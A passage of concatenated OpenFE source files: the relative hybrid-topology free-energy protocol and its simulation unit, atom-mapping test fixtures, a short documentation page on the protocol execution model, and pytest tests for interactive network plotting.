self.data.values()] u = dGs[0].u # convert all values to units of the first value, then take average of magnitude # this would avoid a screwy case where each value was in different units vals = [dG.to(u).m for dG in dGs] return np.average(vals) * u def get_uncertainty(self): """The uncertainty/error in the dG value: The std of the estimates of each independent repeat""" dGs = [pus[0].outputs['unit_estimate'] for pus in self.data.values()] u = dGs[0].u # convert all values to units of the first value, then take average of magnitude # this would avoid a screwy case where each value was in different units vals = [dG.to(u).m for dG in dGs] return np.std(vals) * u class RelativeHybridTopologyProtocol(gufe.Protocol): result_cls = RelativeHybridTopologyProtocolResult _settings: RelativeHybridTopologyProtocolSettings @classmethod def _default_settings(cls): """A dictionary of initial settings for this creating this Protocol These settings are intended as a suitable starting point for creating an instance of this protocol. It is recommended, however that care is taken to inspect and customize these before performing a Protocol. Returns ------- Settings a set of default settings """ return RelativeHybridTopologyProtocolSettings( forcefield_settings=settings.OpenMMSystemGeneratorFFSettings(), thermo_settings=settings.ThermoSettings( temperature=298.15 * unit.kelvin, pressure=1 * unit.bar, ), system_settings=SystemSettings(), solvation_settings=SolvationSettings(), alchemical_settings=AlchemicalSettings(), alchemical_sampler_settings=AlchemicalSamplerSettings(), engine_settings=OpenMMEngineSettings(), integrator_settings=IntegratorSettings(), simulation_settings=SimulationSettings( equilibration_length=1.0 * unit.nanosecond, production_length=5.0 * unit.nanosecond, ) ) def _create( self, stateA: ChemicalSystem, stateB: ChemicalSystem, mapping: Optional[dict[str, gufe.ComponentMapping]] = None, extends: Optional[gufe.ProtocolDAGResult] = None, ) -> list[gufe.ProtocolUnit]: # TODO: Extensions? if extends: raise NotImplementedError("Can't extend simulations yet") # Get alchemical components & validate them + mapping alchem_comps = system_validation.get_alchemical_components( stateA, stateB ) _validate_alchemical_components(alchem_comps, mapping) # For now we've made it fail already if it was None, ligandmapping = list(mapping.values())[0] # type: ignore # Validate solvent component nonbond = self.settings.system_settings.nonbonded_method system_validation.validate_solvent(stateA, nonbond) # Validate protein component system_validation.validate_protein(stateA) # actually create and return Units Anames = ','.join(c.name for c in alchem_comps['stateA']) Bnames = ','.join(c.name for c in alchem_comps['stateB']) # our DAG has no dependencies, so just list units n_repeats = self.settings.alchemical_sampler_settings.n_repeats units = [RelativeHybridTopologyProtocolUnit( stateA=stateA, stateB=stateB, ligandmapping=ligandmapping, settings=self.settings, generation=0, repeat_id=int(uuid.uuid4()), name=f'{Anames} to {Bnames} repeat {i} generation 0') for i in range(n_repeats)] return units def _gather( self, protocol_dag_results: Iterable[gufe.ProtocolDAGResult] ) -> dict[str, Any]: # result units will have a repeat_id and generations within this repeat_id # first group according to repeat_id unsorted_repeats = defaultdict(list) for d in protocol_dag_results: pu: gufe.ProtocolUnitResult for pu in d.protocol_unit_results: if not pu.ok(): continue unsorted_repeats[pu.outputs['repeat_id']].append(pu) # then sort by generation within each repeat_id list repeats: dict[str, list[gufe.ProtocolUnitResult]] = {} for k, v in unsorted_repeats.items(): repeats[str(k)] = sorted(v, key=lambda x: x.outputs['generation']) # returns a dict of repeat_id: sorted list of ProtocolUnitResult return repeats class RelativeHybridTopologyProtocolUnit(gufe.ProtocolUnit): """ Calculates the relative free energy of an alchemical ligand transformation. """ def __init__(self, *, stateA: ChemicalSystem, stateB: ChemicalSystem, ligandmapping: LigandAtomMapping, settings: RelativeHybridTopologyProtocolSettings, generation: int, repeat_id: int, name: Optional[str] = None, ): """ Parameters ---------- stateA, stateB : ChemicalSystem the two ligand SmallMoleculeComponents to transform between. The transformation will go from ligandA to ligandB. ligandmapping : LigandAtomMapping the mapping of atoms between the two ligand components settings : settings.Settings the settings for the Method. This can be constructed using the get_default_settings classmethod to give a starting point that can be updated to suit. repeat_id : int identifier for which repeat (aka replica/clone) this Unit is generation : int counter for how many times this repeat has been extended name : str, optional human-readable identifier for this Unit Notes ----- The mapping used must not involve any elemental changes. A check for this is done on class creation. """ super().__init__( name=name, stateA=stateA, stateB=stateB, ligandmapping=ligandmapping, settings=settings, repeat_id=repeat_id, generation=generation ) def run(self, *, dry=False, verbose=True, scratch_basepath=None, shared_basepath=None) -> dict[str, Any]: """Run the relative free energy calculation. Parameters ---------- dry : bool Do a dry run of the calculation, creating all necessary hybrid system components (topology, system, sampler, etc...) but without running the simulation. verbose : bool Verbose output of the simulation progress. Output is provided via INFO level logging. scratch_basepath: Pathlike, optional Where to store temporary files, defaults to current working directory shared_basepath : Pathlike, optional Where to run the calculation, defaults to current working directory Returns ------- dict Outputs created in the basepath directory or the debug objects (i.e. sampler) if ``dry==True``. Raises ------ error Exception if anything failed """ if verbose: self.logger.info("Preparing the hybrid topology simulation") if scratch_basepath is None: scratch_basepath = pathlib.Path('.') if shared_basepath is None: # use cwd shared_basepath = pathlib.Path('.') # 0. General setup and settings dependency resolution step # Extract relevant settings protocol_settings: RelativeHybridTopologyProtocolSettings = self._inputs['settings'] stateA = self._inputs['stateA'] stateB = self._inputs['stateB'] mapping = self._inputs['ligandmapping'] forcefield_settings: settings.OpenMMSystemGeneratorFFSettings = protocol_settings.forcefield_settings thermo_settings: settings.ThermoSettings = protocol_settings.thermo_settings alchem_settings: AlchemicalSettings = protocol_settings.alchemical_settings system_settings: SystemSettings = protocol_settings.system_settings solvation_settings: SolvationSettings = protocol_settings.solvation_settings sampler_settings: AlchemicalSamplerSettings = protocol_settings.alchemical_sampler_settings sim_settings: SimulationSettings = protocol_settings.simulation_settings timestep = protocol_settings.integrator_settings.timestep mc_steps = protocol_settings.integrator_settings.n_steps.m # is the timestep good for the mass? settings_validation.validate_timestep( forcefield_settings.hydrogen_mass, timestep ) equil_steps, prod_steps = settings_validation.get_simsteps( equil_length=sim_settings.equilibration_length, prod_length=sim_settings.production_length, timestep=timestep, mc_steps=mc_steps ) solvent_comp, protein_comp, small_mols = system_validation.get_components(stateA) # 1. Create stateA system # a. get a system generator if sim_settings.forcefield_cache is not None: ffcache = shared_basepath / sim_settings.forcefield_cache else: ffcache = None system_generator = system_creation.get_system_generator( forcefield_settings=forcefield_settings, thermo_settings=thermo_settings, system_settings=system_settings, cache=ffcache, has_solvent=solvent_comp is not None, ) # b. force the creation of parameters # This is necessary because we need to have the FF generated ahead of # solvating the system. # Note: by default this is cached to ctx.shared/db.json so shouldn't # incur too large a cost self.logger.info("Parameterizing molecules") for comp in small_mols: offmol = comp.to_openff() system_generator.create_system(offmol.to_topology().to_openmm(), molecules=[offmol]) if comp == mapping.componentA: molB = mapping.componentB.to_openff() system_generator.create_system(molB.to_topology().to_openmm(), molecules=[molB]) # c. get OpenMM Modeller + a dictionary of resids for each component stateA_modeller, comp_resids = system_creation.get_omm_modeller( protein_comp=protein_comp, solvent_comp=solvent_comp, small_mols=small_mols, omm_forcefield=system_generator.forcefield, solvent_settings=solvation_settings, ) # d. get topology & positions # Note: roundtrip positions to remove vec3 issues stateA_topology = stateA_modeller.getTopology() stateA_positions = to_openmm( from_openmm(stateA_modeller.getPositions()) ) # e. create the stateA System stateA_system = system_generator.create_system( stateA_modeller.topology, molecules=[s.to_openff() for s in small_mols], ) # 2. Get stateB system # a. get the topology stateB_topology, stateB_alchem_resids = _rfe_utils.topologyhelpers.combined_topology( stateA_topology, mapping.componentB.to_openff().to_topology().to_openmm(), exclude_resids=comp_resids[mapping.componentA], ) # b. get a list of small molecules for stateB off_mols_stateB = [mapping.componentB.to_openff(),] for comp in small_mols: if comp != mapping.componentA: off_mols_stateB.append(comp.to_openff()) stateB_system = system_generator.create_system( stateB_topology, molecules=off_mols_stateB, ) # c. Define correspondence mappings between the two systems ligand_mappings = _rfe_utils.topologyhelpers.get_system_mappings( mapping.componentA_to_componentB, stateA_system, stateA_topology, comp_resids[mapping.componentA], stateB_system, stateB_topology, stateB_alchem_resids, # These are non-optional settings for this method fix_constraints=True, ) # d. Finally get the positions stateB_positions = _rfe_utils.topologyhelpers.set_and_check_new_positions( ligand_mappings, stateA_topology, stateB_topology, old_positions=ensure_quantity(stateA_positions, 'openmm'), insert_positions=ensure_quantity(mapping.componentB.to_openff().conformers[0], 'openmm'), ) # 3. Create the hybrid topology hybrid_factory = _rfe_utils.relative.HybridTopologyFactory( stateA_system, stateA_positions, stateA_topology, stateB_system, stateB_positions, stateB_topology, old_to_new_atom_map=ligand_mappings['old_to_new_atom_map'], old_to_new_core_atom_map=ligand_mappings['old_to_new_core_atom_map'], use_dispersion_correction=alchem_settings.use_dispersion_correction, softcore_alpha=alchem_settings.softcore_alpha, softcore_LJ_v2=alchem_settings.softcore_LJ_v2, softcore_LJ_v2_alpha=alchem_settings.softcore_alpha, softcore_electrostatics=alchem_settings.softcore_electrostatics, softcore_electrostatics_alpha=alchem_settings.softcore_electrostatics_alpha, softcore_sigma_Q=alchem_settings.softcore_sigma_Q, interpolate_old_and_new_14s=alchem_settings.interpolate_old_and_new_14s, flatten_torsions=alchem_settings.flatten_torsions, ) # 4. Create lambda schedule # TODO - this should be exposed to users, maybe we should offer the # ability to print the schedule directly in settings? lambdas = _rfe_utils.lambdaprotocol.LambdaProtocol( functions=alchem_settings.lambda_functions, windows=alchem_settings.lambda_windows ) # PR #125 temporarily pin lambda schedule spacing to n_replicas n_replicas = sampler_settings.n_replicas if n_replicas != len(lambdas.lambda_schedule): errmsg = (f"Number of replicas {n_replicas} " f"does not equal the number of lambda windows " f"{len(lambdas.lambda_schedule)}") raise ValueError(errmsg) # 9. Create the multistate reporter # Get the sub selection of the system to print coords for selection_indices = hybrid_factory.hybrid_topology.select( sim_settings.output_indices ) # a. Create the multistate reporter reporter = multistate.MultiStateReporter( storage=shared_basepath / sim_settings.output_filename, analysis_particle_indices=selection_indices, checkpoint_interval=sim_settings.checkpoint_interval.m, checkpoint_storage=sim_settings.checkpoint_storage, ) # b. Write out a PDB containing the subsampled hybrid state bfactors = np.zeros_like(selection_indices, dtype=float) # solvent bfactors[np.in1d(selection_indices, list(hybrid_factory._atom_classes['unique_old_atoms']))] = 0.25 # lig A bfactors[np.in1d(selection_indices, list(hybrid_factory._atom_classes['core_atoms']))] = 0.50 # core bfactors[np.in1d(selection_indices, list(hybrid_factory._atom_classes['unique_new_atoms']))] = 0.75 # lig B # bfactors[np.in1d(selection_indices, protein)] = 1.0 # prot+cofactor traj = mdtraj.Trajectory( hybrid_factory.hybrid_positions[selection_indices, :], hybrid_factory.hybrid_topology.subset(selection_indices), ).save_pdb( shared_basepath / sim_settings.output_structure, bfactors=bfactors, ) # 10. Get platform platform = _rfe_utils.compute.get_openmm_platform( protocol_settings.engine_settings.compute_platform ) # 11. Set the integrator # a. get integrator settings integrator_settings = protocol_settings.integrator_settings # Validate settings # Virtual sites sanity check - ensure we restart velocities when # there are virtual sites in the system if hybrid_factory.has_virtual_sites: if not integrator_settings.reassign_velocities: errmsg = ("Simulations with virtual sites without velocity " "reassignments are unstable in openmmtools") raise ValueError(errmsg) # b. create langevin integrator integrator = openmmtools.mcmc.LangevinDynamicsMove( timestep=to_openmm(integrator_settings.timestep), collision_rate=to_openmm(integrator_settings.collision_rate), n_steps=integrator_settings.n_steps.m, reassign_velocities=integrator_settings.reassign_velocities, n_restart_attempts=integrator_settings.n_restart_attempts, constraint_tolerance=integrator_settings.constraint_tolerance, ) # 12. Create sampler self.logger.info("Creating and setting up the sampler") if sampler_settings.sampler_method.lower() == "repex": sampler = _rfe_utils.multistate.HybridRepexSampler( mcmc_moves=integrator, hybrid_factory=hybrid_factory, online_analysis_interval=sampler_settings.online_analysis_interval, online_analysis_target_error=sampler_settings.online_analysis_target_error.m, online_analysis_minimum_iterations=sampler_settings.online_analysis_minimum_iterations ) elif sampler_settings.sampler_method.lower() == "sams": sampler = _rfe_utils.multistate.HybridSAMSSampler( mcmc_moves=integrator, hybrid_factory=hybrid_factory, online_analysis_interval=sampler_settings.online_analysis_interval, online_analysis_minimum_iterations=sampler_settings.online_analysis_minimum_iterations, flatness_criteria=sampler_settings.flatness_criteria, gamma0=sampler_settings.gamma0, ) elif sampler_settings.sampler_method.lower() == 'independent': sampler = _rfe_utils.multistate.HybridMultiStateSampler( mcmc_moves=integrator, hybrid_factory=hybrid_factory, online_analysis_interval=sampler_settings.online_analysis_interval, online_analysis_target_error=sampler_settings.online_analysis_target_error.m, online_analysis_minimum_iterations=sampler_settings.online_analysis_minimum_iterations ) else: raise AttributeError(f"Unknown sampler {sampler_settings.sampler_method}") sampler.setup( n_replicas=sampler_settings.n_replicas, reporter=reporter, lambda_protocol=lambdas, temperature=to_openmm(thermo_settings.temperature), endstates=alchem_settings.unsampled_endstates, minimization_platform=platform.getName(), ) try: # Create context caches (energy + sampler) energy_context_cache = openmmtools.cache.ContextCache( capacity=None, time_to_live=None, platform=platform, ) sampler_context_cache = openmmtools.cache.ContextCache( capacity=None, time_to_live=None, platform=platform, ) sampler.energy_context_cache = energy_context_cache sampler.sampler_context_cache = sampler_context_cache if not dry: # pragma: no-cover # minimize if verbose: self.logger.info("Running minimization") sampler.minimize(max_iterations=sim_settings.minimization_steps) # equilibrate if verbose: self.logger.info("Running equilibration phase") sampler.equilibrate(int(equil_steps / mc_steps)) # type: ignore # production if verbose: self.logger.info("Running production phase") sampler.extend(int(prod_steps / mc_steps)) # type: ignore self.logger.info("Production phase complete") self.logger.info("Obtaining estimate of results") # calculate estimate of results from this individual unit ana = multistate.MultiStateSamplerAnalyzer(reporter) est, _ = ana.get_free_energy() est = (est[0, -1] * ana.kT).in_units_of(omm_unit.kilocalories_per_mole) est = ensure_quantity(est, 'openff') ana.clear() # clean up cached values nc = shared_basepath / sim_settings.output_filename chk = shared_basepath / sim_settings.checkpoint_storage else: # clean up the reporter file fns = [shared_basepath / sim_settings.output_filename, shared_basepath / sim_settings.checkpoint_storage] for fn in fns: os.remove(fn) finally: # close reporter when you're done, prevent file handle clashes reporter.close() del reporter # clear GPU contexts # TODO: use cache.empty() calls when openmmtools #690 is resolved # replace with above for context in list(energy_context_cache._lru._data.keys()): del energy_context_cache._lru._data[context] for context in list(sampler_context_cache._lru._data.keys()): del sampler_context_cache._lru._data[context] # cautiously clear out the global context cache too for context in list( openmmtools.cache.global_context_cache._lru._data.keys()): del openmmtools.cache.global_context_cache._lru._data[context] del sampler_context_cache, energy_context_cache if not dry: del integrator, sampler if not dry: # pragma: no-cover return { 'nc': nc, 'last_checkpoint': chk, 'unit_estimate': est, } else: return {'debug': {'sampler': sampler}} def _execute( self, ctx: gufe.Context, **kwargs, ) -> dict[str, Any]: with without_oechem_backend(): outputs = self.run(scratch_basepath=ctx.scratch, shared_basepath=ctx.shared) return { 'repeat_id': self._inputs['repeat_id'], 'generation': self._inputs['generation'], **outputs } <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from typing import Dict, Tuple from rdkit import Chem from gufe import SmallMoleculeComponent import lomap import pytest from openfe import LigandAtomMapping from ...conftest import mol_from_smiles def _translate_lomap_mapping(atom_mapping_str: str) -> Dict[int, int]: mapped_atom_tuples = map(lambda x: tuple(map(int, x.split(":"))), atom_mapping_str.split(",")) return {i: j for i, j in mapped_atom_tuples} def _get_atom_mapping_dict(lomap_atom_mappings) -> Dict[Tuple[int, int], Dict[int, int]]: return {mol_pair: _translate_lomap_mapping(atom_mapping_str) for mol_pair, atom_mapping_str in lomap_atom_mappings.mcs_map_store.items()} @pytest.fixture() def gufe_atom_mapping_matrix(lomap_basic_test_files_dir, atom_mapping_basic_test_files ) -> Dict[Tuple[int, int], LigandAtomMapping]: dbmols = lomap.DBMolecules(lomap_basic_test_files_dir, verbose='off') _, _ = dbmols.build_matrices() molecule_pair_atom_mappings = _get_atom_mapping_dict(dbmols) ligand_atom_mappings = {} for (i, j), val in molecule_pair_atom_mappings.items(): nm1 = dbmols[i].getName()[:-5] nm2 = dbmols[j].getName()[:-5] ligand_atom_mappings[(i, j)] = LigandAtomMapping( componentA=atom_mapping_basic_test_files[nm1], componentB=atom_mapping_basic_test_files[nm2], componentA_to_componentB=val) return ligand_atom_mappings @pytest.fixture() def mol_pair_to_shock_perses_mapper() -> Tuple[SmallMoleculeComponent, SmallMoleculeComponent]: """ This pair of Molecules leads to an empty Atom mapping in Perses Mapper with certain settings. Returns: Tuple[SmallMoleculeComponent]: two molecule objs for the test """ molA = SmallMoleculeComponent(mol_from_smiles('c1ccccc1'), 'benzene') molB = SmallMoleculeComponent(mol_from_smiles('C1CCCCC1'), 'cyclohexane') return molA, molB <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from .atom_mapping import (LigandAtomMapping, LigandAtomMapper, LomapAtomMapper, lomap_scorers, PersesAtomMapper, perses_scorers) from .ligand_network import LigandNetwork from . import ligand_network_planning from .alchemical_network_planner import RHFEAlchemicalNetworkPlanner, RBFEAlchemicalNetworkPlanner<file_sep>Protocols and the Execution Model ================================= Protocols in OpenFE are built on a flexible execution model. Result objects are shaped by this model, and therefore some basic background on it can be useful when looking into the details of simulation results. In general, most users don't need to work with the details of the execution model, but the general ideas can be useful. .. TODO figure showing an example dag Each protocol involves a number of steps (called ``ProtocolUnit``\ s) which occur in some order. Formally, this is described by a directed acyclic graph (DAG), so the collection of steps to run is called a ``ProtocolDAG``. A :class:`.Protocol` creates the ``ProtocolDAG``, and a single ``ProtocolDAG`` should give information necessary to obtain an estimate of the desired thermodynamic observable. Over the course of a campaign, a single :class:`.Protocol` may create multiple ``ProtocolDAG``\ s, e.g., to extend a simulation. NB: While independent runs can be created as separate ``ProtocolDAG``\ s, the recommend way to do independent runs is as a ``repeats`` part of the settings for the protocol, which puts the independent runs in a single ``ProtocolDAG``. .. TODO review recommendation for repeats in context of NEQ protocol There are results objects at each level of this: so the :class:`.ProtocolResult` is associated with the :class:`.Protocol`. Just as the :class:`.Protocol` may create one or more ``ProtocolDAG``\ s, the :class:`.ProtocolResult` will be made from one or more :class:`.ProtocolDAGResult`\ s. Finally, each :class:`.ProtocolDAGResult` may carry information about multiple :class:`.ProtocolUnitResult`\ s, just a single ``ProtocolDAG`` may involve mutliple ``ProtocolUnit``\ s. .. TODO FUTURE: figure showing the relations of protocol objects and result objects .. TODO FUTURE: add information about scratch/shared/permanent storage once that becomes relevant <file_sep>import pytest from unittest import mock from numpy import testing as npt from matplotlib import pyplot as plt import networkx as nx from openfe.utils.network_plotting import ( Node, Edge, EventHandler, GraphDrawing ) from matplotlib.backend_bases import MouseEvent, MouseButton def _get_fig_ax(fig): if fig is None: fig, _ = plt.subplots() if len(fig.axes) != 1: # -no-cov- raise RuntimeError("Error in test setup: figure must have exactly " "one Axes object associated") return fig, fig.axes[0] def mock_event(event_name, xdata, ydata, fig=None): fig, ax = _get_fig_ax(fig) name = { 'mousedown': 'button_press_event', 'mouseup': 'button_release_event', 'drag': 'motion_notify_event', }[event_name] matplotlib_buttons = { 'mousedown': MouseButton.LEFT, 'mouseup': MouseButton.LEFT, 'drag': MouseButton.LEFT, } button = matplotlib_buttons.get(event_name, None) x, y = ax.transData.transform((xdata, ydata)) return MouseEvent(name, fig.canvas, x, y, button) def make_mock_graph(fig=None): fig, ax = _get_fig_ax(fig) def make_mock_node(node, x, y): return mock.Mock(node=node, x=x, y=y) def make_mock_edge(node1, node2, data): return mock.Mock(node_artists=[node1, node2], data=data) node_A = make_mock_node("A", 0.0, 0.0) node_B = make_mock_node("B", 0.5, 0.0) node_C = make_mock_node("C", 0.5, 0.5) node_D = make_mock_node("D", 0.0, 0.5) edge_AB = make_mock_edge(node_A, node_B, {'data': "AB"}) edge_BC = make_mock_edge(node_B, node_C, {'data': "BC"}) edge_BD = make_mock_edge(node_B, node_D, {'data': "BD"}) mock_graph = mock.Mock( nodes={node.node: node for node in [node_A, node_B, node_C, node_D]}, edges={tuple(edge.node_artists): edge for edge in [edge_AB, edge_BC, edge_BD]}, ) return mock_graph class TestNode: def setup_method(self): self.node = Node("B", 0.5, 0.0) self.fig, self.ax = plt.subplots() self.node.register_artist(self.ax) def teardown_method(self): plt.close(self.fig) def test_register_artist(self): node = Node("B", 0.6, 0.0) fig, ax = plt.subplots() assert len(ax.patches) == 0 node.register_artist(ax) assert len(ax.patches) == 1 assert node.artist == ax.patches[0] plt.close(fig) def test_extent(self): assert self.node.extent == (0.5, 0.6, 0.0, 0.1) def test_xy(self): assert self.node.xy == (0.5, 0.0) def test_unselect(self): # initially blue; turn it red; unselect should switch it back assert self.node.artist.get_facecolor() == (0.0, 0.0, 1.0, 1.0) self.node.artist.set(color="red") assert self.node.artist.get_facecolor() != (0.0, 0.0, 1.0, 1.0) self.node.unselect() assert self.node.artist.get_facecolor() == (0.0, 0.0, 1.0, 1.0) def test_edge_select(self): # initially blue; edge_select should turn it red assert self.node.artist.get_facecolor() == (0.0, 0.0, 1.0, 1.0) edge = mock.Mock() # unused in this method self.node.edge_select(edge) assert self.node.artist.get_facecolor() == (1.0, 0.0, 0.0, 1.0) def test_update_location(self): assert self.node.artist.xy == (0.5, 0.0) self.node.update_location(0.7, 0.5) assert self.node.artist.xy == (0.7, 0.5) assert self.node.xy == (0.7, 0.5) @pytest.mark.parametrize('point,expected', [ ((0.55, 0.05), True), ((0.5, 0.5), False), ((-10, -10), False), ]) def test_contains(self, point, expected): event = mock_event('drag', *point, fig=self.fig) assert self.node.contains(event) == expected def test_on_mousedown_in_rect(self): event = mock_event('mousedown', 0.55, 0.05, self.fig) drawing_graph = make_mock_graph(self.fig) assert Node.lock is None assert self.node.press is None self.node.on_mousedown(event, drawing_graph) assert Node.lock == self.node assert self.node.press is not None Node.lock = None def test_on_mousedown_in_axes(self): event = mock_event('mousedown', 0.25, 0.25, self.fig) drawing_graph = make_mock_graph(self.fig) assert Node.lock is None assert self.node.press is None self.node.on_mousedown(event, drawing_graph) assert Node.lock is None assert self.node.press is None def test_on_mousedown_out_axes(self): node = Node("B", 0.5, 0.6) event = mock_event('mousedown', 0.55, 0.05, self.fig) drawing_graph = make_mock_graph(self.fig) fig2, ax2 = plt.subplots() node.register_artist(ax2) assert Node.lock is None assert node.press is None node.on_mousedown(event, drawing_graph) assert Node.lock is None assert node.press is None plt.close(fig2) def test_on_drag(self): event = mock_event('drag', 0.7, 0.7, self.fig) # this test some integration, so we need more than a mock drawing_graph = GraphDrawing( nx.MultiDiGraph(([("A", "B"), ("B", "C"), ("B", "D")])), positions={"A": (0.0, 0.0), "B": (0.5, 0.0), "C": (0.5, 0.5), "D": (0.0, 0.5)} ) # set up things that should happen on mousedown Node.lock = self.node self.node.press = (0.5, 0.0), (0.55, 0.05) self.node.on_drag(event, drawing_graph) npt.assert_allclose(self.node.xy, (0.65, 0.65)) # undo the lock; normally handled by mouseup Node.lock = None def test_on_drag_do_nothing(self): event = mock_event('drag', 0.7, 0.7, self.fig) drawing_graph = make_mock_graph(self.fig) # don't set lock -- early exit original = self.node.xy self.node.on_drag(event, drawing_graph) assert self.node.xy == original def test_on_drag_no_mousedown(self): event = mock_event('drag', 0.7, 0.7, self.fig) drawing_graph = make_mock_graph(self.fig) Node.lock = self.node with pytest.raises(RuntimeError, match="drag until mouse down"): self.node.on_drag(event, drawing_graph) Node.lock = None def test_on_mouseup(self): event = mock_event('drag', 0.7, 0.7, self.fig) drawing_graph = make_mock_graph(self.fig) Node.lock = self.node self.node.press = (0.5, 0.0), (0.55, 0.05) self.node.on_mouseup(event, drawing_graph) assert Node.lock is None assert self.node.press is None def test_blitting(self): pytest.skip("Blitting hasn't been implemented yet") class TestEdge: def setup_method(self): self.nodes = [Node("A", 0.0, 0.0), Node("B", 0.5, 0.0)] self.data = {"data": "values"} self.edge = Edge(*self.nodes, self.data) self.fig, self.ax = plt.subplots() self.ax.set_xlim(-1, 1) self.ax.set_ylim(-1, 1) self.edge.register_artist(self.ax) def teardown_method(self): plt.close(self.fig) def test_register_artist(self): fig, ax = plt.subplots() edge = Edge(*self.nodes, self.data) assert len(ax.get_lines()) == 0 edge.register_artist(ax) assert len(ax.get_lines()) == 1 assert ax.get_lines()[0] == edge.artist plt.close(fig) @pytest.mark.parametrize('point,expected', [ ((0.25, 0.05), True), ((0.6, 0.1), False), ]) def test_contains(self, point, expected): event = mock_event('drag', *point, fig=self.fig) assert self.edge.contains(event) == expected def test_edge_xs_ys(self): npt.assert_allclose(self.edge._edge_xs_ys(*self.nodes), ((0.05, 0.55), (0.05, 0.05))) def _get_colors(self): colors = {node: node.artist.get_facecolor() for node in self.nodes} colors[self.edge] = self.edge.artist.get_color() return colors def test_unselect(self): original = self._get_colors() for node in self.nodes: node.artist.set(color='red') self.edge.artist.set(color='red') # ensure that we have changed from the original values changed = self._get_colors() for key in original: assert changed[key] != original[key] self.edge.unselect() after = self._get_colors() assert after == original def test_select(self): event = mock_event('mouseup', 0.25, 0.05, self.fig) drawing_graph = make_mock_graph(self.fig) original = self._get_colors() self.edge.select(event, drawing_graph) changed = self._get_colors() for key in self.nodes: assert changed[key] != original[key] assert changed[key] == (1.0, 0.0, 0.0, 1.0) # red assert changed[self.edge] == "red" # mpl doesn't convert to RGBA?! # it might be better in the future to pass that through some MPL # func that converts color string to RGBA; the fact that MPL keeps # color name in line2d seems like an implementation detail def test_update_locations(self): for node in self.nodes: x, y = node.xy node.update_location(x + 0.2, y + 0.2) self.edge.update_locations() npt.assert_allclose(self.edge.artist.get_xdata(), [0.25, 0.75]) npt.assert_allclose(self.edge.artist.get_ydata(), [0.25, 0.25]) class TestEventHandler: def setup_method(self): self.fig, self.ax = plt.subplots() self.event_handler = EventHandler(graph=make_mock_graph(self.fig)) graph = self.event_handler.graph node = graph.nodes["C"] edge = graph.edges[graph.nodes["B"], graph.nodes["C"]] self.setup_contains = { "node": (node, [node]), "edge": (edge, [edge]), "node+edge": (node, [node, edge]), "miss": (None, []), } def teardown_method(self): plt.close(self.fig) def _mock_for_connections(self): self.event_handler.on_mousedown = mock.Mock() self.event_handler.on_mouseup = mock.Mock() self.event_handler.on_drag = mock.Mock() @pytest.mark.parametrize('event_type', ['mousedown', 'mouseup', 'drag']) def test_connect(self, event_type): self._mock_for_connections() event = mock_event(event_type, 0.2, 0.2, self.fig) methods = { 'mousedown': self.event_handler.on_mousedown, 'mouseup': self.event_handler.on_mouseup, 'drag': self.event_handler.on_drag, } should_call = methods[event_type] should_not_call = set(methods.values()) - {should_call} assert len(self.event_handler.connections) == 0 self.event_handler.connect(self.fig.canvas) assert len(self.event_handler.connections) == 3 # check that the event is processed self.fig.canvas.callbacks.process(event.name, event) should_call.assert_called_once() for method in should_not_call: assert not method.called @pytest.mark.parametrize('event_type', ['mousedown', 'mouseup', 'drag']) def test_disconnect(self, event_type): self._mock_for_connections() fig, _ = plt.subplots() event = mock_event(event_type, 0.2, 0.2, fig) self.event_handler.connect(fig.canvas) # not quite full isolation assert len(self.event_handler.connections) == 3 self.event_handler.disconnect(fig.canvas) assert len(self.event_handler.connections) == 0 methods = [self.event_handler.on_mousedown, self.event_handler.on_mousedown, self.event_handler.on_drag] fig.canvas.callbacks.process(event.name, event) for method in methods: assert not method.called plt.close(fig) def _mock_contains(self, mock_objs): graph = self.event_handler.graph objs = list(graph.nodes.values()) + list(graph.edges.values()) for obj in objs: if obj in mock_objs: obj.contains = mock.Mock(return_value=True) else: obj.contains = mock.Mock(return_value=False) @pytest.mark.parametrize('hit', ['node', 'edge', 'node+edge', 'miss']) def test_get_event_container_select_node(self, hit): expected, contains_event = self.setup_contains[hit] expected_count = { "node": 3, # nodes A, B, C "edge": 6, # nodes A, B, C, D; edges AB, BC "node+edge": 3, # nodes A, B, C "miss": 7, # nodes A, B, C, D; edges AB BC, BD }[hit] self._mock_contains(contains_event) event = mock.Mock() found = self.event_handler._get_event_container(event) assert found is expected for container in contains_event: if container is not expected: assert not container.called graph = self.event_handler.graph all_objs = list(graph.nodes.values()) + list(graph.edges.values()) contains_count = sum(obj.contains.called for obj in all_objs) assert contains_count == expected_count @pytest.mark.parametrize('hit', ['node', 'edge', 'node+edge', 'miss']) def test_on_mousedown(self, hit): expected, contains_event = self.setup_contains[hit] self._mock_contains(contains_event) event = mock_event('mousedown', 0.5, 0.5) assert self.event_handler.click_location is None assert self.event_handler.active is None self.event_handler.on_mousedown(event) npt.assert_allclose(self.event_handler.click_location, (0.5, 0.5)) assert self.event_handler.active is expected if expected is not None: expected.on_mousedown.assert_called_once() plt.close(event.canvas.figure) @pytest.mark.parametrize('is_active', [True, False]) def test_on_drag(self, is_active): node = self.event_handler.graph.nodes["C"] node.artist.axes = self.ax event = mock_event('drag', 0.25, 0.25, self.fig) if is_active: self.event_handler.active = node self.event_handler.on_drag(event) if is_active: node.on_drag.assert_called_once() else: assert not node.on_drag.called @pytest.mark.parametrize('has_selected', [True, False]) def test_on_mouseup_click_select(self, has_selected): # start: mouse hasn't moved, and something is active graph = self.event_handler.graph edge = graph.edges[graph.nodes["B"], graph.nodes["C"]] if has_selected: old_selected = graph.edges[graph.nodes["A"], graph.nodes["B"]] self.event_handler.selected = old_selected self._mock_contains([edge]) event = mock_event('mouseup', 0.25, 0.25) self.event_handler.click_location = (event.xdata, event.ydata) self.event_handler.active = edge # this should select the active object self.event_handler.on_mouseup(event) if has_selected: old_selected.unselect.assert_called_once() edge.select.assert_called_once() edge.on_mouseup.assert_called_once() assert self.event_handler.selected is edge assert self.event_handler.active is None assert self.event_handler.click_location is None graph.draw.assert_called_once() plt.close(event.canvas.figure) @pytest.mark.parametrize('has_selected', [True, False]) def test_on_mouseup_click_not_select(self, has_selected): # start: mouse hasn't moved, nothing is active graph = self.event_handler.graph if has_selected: old_selected = graph.edges[graph.nodes["A"], graph.nodes["B"]] self.event_handler.selected = old_selected event = mock_event('mouseup', 0.25, 0.25) self.event_handler.click_location = (event.xdata, event.ydata) self.event_handler.on_mouseup(event) if has_selected: old_selected.unselect.assert_called_once() assert self.event_handler.selected is None assert self.event_handler.active is None assert self.event_handler.click_location is 